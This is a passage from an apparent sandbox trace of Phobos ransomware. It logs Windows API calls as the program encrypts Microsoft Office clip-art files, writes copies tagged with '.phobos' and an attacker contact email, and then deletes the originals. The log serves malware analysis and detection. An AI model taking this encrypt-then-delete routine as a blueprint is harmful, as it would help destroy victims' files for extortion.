lpOverlapped=0x0) returned 1 [0059.890] CryptDestroyKey (hKey=0x10dc850) returned 1 [0059.890] CloseHandle (hObject=0x31c) returned 1 [0059.890] CloseHandle (hObject=0x2fc) returned 1 [0059.890] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0059.891] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.892] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3986) returned 1 [0059.892] CloseHandle (hObject=0x2fc) returned 1 [0059.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0059.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.892] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.892] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.892] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc650) returned 1 [0059.892] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.892] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xf92, lpOverlapped=0x0) returned 1 [0059.905] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xfa0) returned 1 [0059.905] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xfa0, lpOverlapped=0x0) returned 1 [0059.906] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0059.906] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.906] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.906] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.906] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.906] CryptDestroyKey (hKey=0x10dc650) returned 1 [0059.906] CloseHandle (hObject=0x2fc) returned 1 [0059.906] CloseHandle (hObject=0x31c) returned 1 [0059.907] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0059.908] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.908] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9304) returned 1 [0059.908] CloseHandle (hObject=0x31c) returned 1 [0059.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0059.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.909] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.909] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.909] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc890) returned 1 [0059.909] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.909] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2458, lpOverlapped=0x0) returned 1 [0059.918] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2460, dwBufLen=0x2460 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2460) returned 1 [0059.918] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2460, lpOverlapped=0x0) returned 1 [0059.919] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc910) returned 1 [0059.919] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.919] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.919] CryptDestroyKey (hKey=0x10dc910) returned 1 [0059.919] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.919] CryptDestroyKey (hKey=0x10dc890) returned 1 [0059.919] CloseHandle (hObject=0x31c) returned 1 [0059.919] CloseHandle (hObject=0x2fc) returned 1 [0059.920] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0059.921] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.921] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14444) returned 1 [0059.921] CloseHandle (hObject=0x2fc) returned 1 [0059.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0059.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.921] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.921] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.922] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0059.922] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.922] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x386c, lpOverlapped=0x0) returned 1 [0059.937] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3870, dwBufLen=0x3870 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3870) returned 1 [0059.937] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3870, lpOverlapped=0x0) returned 1 [0059.938] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc910) returned 1 [0059.938] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.938] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.938] CryptDestroyKey (hKey=0x10dc910) returned 1 [0059.938] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.938] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.938] CloseHandle (hObject=0x2fc) returned 1 [0059.938] CloseHandle (hObject=0x31c) returned 1 [0059.939] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0059.940] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.940] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1536) returned 1 [0059.940] CloseHandle (hObject=0x31c) returned 1 [0059.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0059.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.941] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.941] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.941] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0059.941] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.941] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x600, lpOverlapped=0x0) returned 1 [0060.009] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x610, dwBufLen=0x610 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x610) returned 1 [0060.009] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x610, lpOverlapped=0x0) returned 1 [0060.010] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0060.010] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.010] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.010] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.010] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.010] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.010] CloseHandle (hObject=0x31c) returned 1 [0060.010] CloseHandle (hObject=0x2fc) returned 1 [0060.011] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0060.012] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.018] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=12482) returned 1 [0060.018] CloseHandle (hObject=0x310) returned 1 [0060.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0060.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.022] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.022] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.023] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc950) returned 1 [0060.023] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.023] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x30c2, lpOverlapped=0x0) returned 1 [0060.037] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30d0) returned 1 [0060.037] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x30d0, lpOverlapped=0x0) returned 1 [0060.038] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0060.038] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.038] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.038] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.038] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.038] CryptDestroyKey (hKey=0x10dc950) returned 1 [0060.038] CloseHandle (hObject=0x300) returned 1 [0060.039] CloseHandle (hObject=0x338) returned 1 [0060.039] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0060.040] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.041] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=5752) returned 1 [0060.041] CloseHandle (hObject=0x338) returned 1 [0060.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0060.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.041] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.041] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, 